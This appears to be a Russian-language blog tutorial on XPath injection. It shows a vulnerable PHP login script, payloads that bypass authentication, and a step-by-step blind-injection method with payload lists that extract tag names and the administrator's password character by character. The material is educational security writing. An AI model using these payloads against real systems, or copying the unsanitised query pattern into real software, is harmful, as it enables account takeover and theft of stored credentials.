XPath (XML Path Language) – это язык, который предназначен для произвольного обращения к частям XML документа. XML (eXtensible Markup Language) – это всем известный язык разметки, с помощью которого создаются XML документы, имеющие древовидную структуру. Пример простейшего XML документа:
<?xml version="1.0" encoding="UTF-8"?> <foo> <bar param="value"/> </foo>
XPath необходим для получения конкретной информации из XML документов; это достигается путем использования специальных операторов и выражений. Обращение к элементам XML документа с помощью XPath напоминает взаимодействие с файловой системой:
/foo/bar
Этот элементарный XPath-запрос возвратит элемент bar из XML документа выше:
<?xml version="1.0" encoding="UTF-8"?> <foo> <bar param="value"/> </foo>
C другой стороны, XPath похож и на SQL, так как позволяет накладывать условия выборки. Для этого в XPath существуют логические операторы, числовые, строковые и другие функции. Образно говоря, XML документ – это база данных, а XPath – это средство, с помощью которого возможно получить из нее данные. Если провести параллель со SQL, то станет очевидным, что XPath-инъекции во многом похожи на SQL-инъекции. Для обоих типов уязвимостей главным фактором, который позволяет проводить подобного рода инъекции, является недостаточная фильтрация входных данных.
Рассмотрим классический пример: имеется XML документ, в котором хранятся данные пользователей сайта, а также уязвимый скрипт, не проверяющий поступающие от пользователя данные при авторизации:
<?xml version="1.0" encoding="UTF-8"?> <users> <user> <id>0</id> <login>admin</login> <password>blah</password> <firstname>Vasya</firstname> </user> <user> <id>1</id> <login>user</login> <password>123</password> <firstname>LOL</firstname> </user> <user> <id>2</id> <login>foo</login> <password>bar</password> <firstname>FOOBAR</firstname> </user> </users>
<?php $login = $_POST['login']; $pass = $_POST['pass']; $xml = simplexml_load_file('users.xml'); // Формируем XPath-запрос $query = "//users/user[login/text()='$login' and password/text()='$pass']"; // Выполняем его $result = $xml->xpath($query); if(!$result) { die("User credentials are not correct"); } $user_data = $result[0]; $id = $user_data->id; $firstname = $user_data->firstname; /**/ ?>
Переменные login и password никак не проверяются, что позволяет внедрить собственный XPath-запрос в оригинальный. Если в SQL, это было бы нечто вроде abc’ OR 1=1/*, то в XPath всилу того, что в этом языке не предусмотрены символы, обозначающие комментарий, можно успешно обойти авторизацию таким образом:
‘ or 1=1 or ”=’
или еще более простым способом:
‘ or ‘1’=’1
В итоге выполнится следующий запрос и мы успешно пройдем авторизацию:
//users/user[login/text()=admin and password/text()=’‘ or ‘1’=’1′]
Если обход авторизации не был конечной целью атакующего, например ему необходимо было получить исходный пароль администратора, то в этом случае достичь успеха поможет Blind XPath Injection. Дело в том, что в XPath не существует возможности провести UNION как при SQL-инъекциях, поэтому получить строковое или численное значение из XML-документа можно только с помощью техники слепых инъекций. Если Вы знакомы с аналогичной техникой в SQL, то без труда поймете, как данный способ реализовывается в XPath. Напомню лишь, что в основе лежит разделение ответов сервера, одно из которых принимается за истинное, а другое – за ложное, что позволяет судить о правильности и неправильности выполненных запросов.
Следующие функции необходимы или могут участвовать при осуществлении Blind XPath Injection:
- int count(node-set) возвращает количество элементов в node-set
- string name([node-set]) возвращает полное имя первого тэга в множестве
- boolean contains(string, string) возвращает истину, если первая строка содержит вторую, иначе возвращает ложь
- string substring(string, number, [number]) возвращает строку вырезанную из строки начиная с указанного номера, и если указан второй номер — количество символов
- int string-length([string]) возвращает длину строки
Этих функций будет вполне достаточно для осуществления полноценной XPath-инъекции. Итак, первое, что необходимо сделать – это узнать количество тэгов, присутствующих в записи каждого пользователя:
‘] | //*[1][count(*)=’1‘] | /foo[bar=’
‘] | //*[1][count(*)=’2‘] | /foo[bar=’
‘] | //*[1][count(*)=’3‘] | /foo[bar=’
Разберем данный запрос.
‘] | //*[1][count(*)=’1′] | /foo[bar=’
этим мы закрываем ранее открытые квадратные скобки, выражения внутри которых позволяют задавать более четкие критерии для элемента, т.е. накладывать условия
‘] | //*[1][count(*)=’1’] | /foo[bar=’
снова открываем, чтобы не возникала ошибка
‘] | //*[1][count(*)=’1′] | /foo[bar=’
выражение между двумя | (логическое или) является основой нашего запроса
‘] | //*[1][count(*)=’1′] | /foo[bar=’
выделяем первый узел из всего XML документа
‘] | //*[1][count(*)=’1′] | /foo[bar=’
выделяем все элементы внутри этого узла
‘] | //*[1][count(*)=’1′] | /foo[bar=’
наше условие
Перебор проводим до тех пор, пока сервер не возвратит нужный ответ. Допустим мы установили, что у каждого пользователя 4 тэга, в которых хранятся их данные. Теперь необходимо получить название каждого тэга (грубо говоря, названия полей, как при SQL-инъекциях). Здесь нам поможет функция name():
‘] | //*[name(*[3])=’password’] | /foo[bar=’
Если сервер возвратит истину, то третий элемент любого узла имеет имя password
‘] | //*[name(*[*])=’password’] | /foo[bar=’
В этом случае, если сервер возвратит истину, то один из элементов любого узла имеет имя password
Получить полные имена тэгов можно с помощью посимвольного перебора:
‘] | //*[1][substring(name(*[1]),1,1)=’a’] | /foo[bar=’
‘] | //*[1][substring(name(*[1]),1,1)=’b’] | /foo[bar=’
‘] | //*[1][substring(name(*[1]),1,1)=’c’] | /foo[bar=’
Стоит отметить, что в XPath не предусмотрена функция, которая переводила бы символы в ASCII-коды, наподобие ORD() или ASCII() в SQL.
Узнав название элемента, получаем его значение:
‘] | //*[1][substring(password,1,1)=’a’] | /foo[bar=’
‘] | //*[1][substring(password,1,1)=’b’] | /foo[bar=’
‘] | //*[1][substring(password,1,1)=’c’] | /foo[bar=’
Как при переборе названий элементов, так и их значений можно предварительно узнать количество символов:
‘] | //*[1][string-length(name(*[1]))=7] | /foo[bar=’
‘] | //*[1][string-length(password)=7] | /foo[bar=’
Таким образом, перебирая названия и значения элементов, мы можем полностью реконструировать исходный XML-документ.
Несмотря на общую схожесть SQL и XPath инъекций, они имеют ряд важных особенностей, во многом отличающие их друг от друга:
- при XPath-инъекциях необходимо знать лишь общую структуру оригинального запроса, что существенно облегчает атаку, в то время как при некоторых типах SQL-инъекций для удачной атаки нужно полностью знать весь или определенную часть запроса.
- XPath – это универсальный язык, существует лишь две его разновидности XPath версии 1.0 и 2.0; SQL имеет множество реализаций, особенности каждой из которых необходимо учитывать
- Модель доступа к элементам XML документа с помощью XPath предполагает обращение к любой его части, однако в SQL атакующий может быть ограничен определенной базой данных или лишен каких-либо привилегий
Спасибо моему другу Kuzya за его великолепную книгу “Методы атак web-приложений“, в которой он доступно осветил данный тип уязвимостей
Рекомендую почитать:
Leave a Reply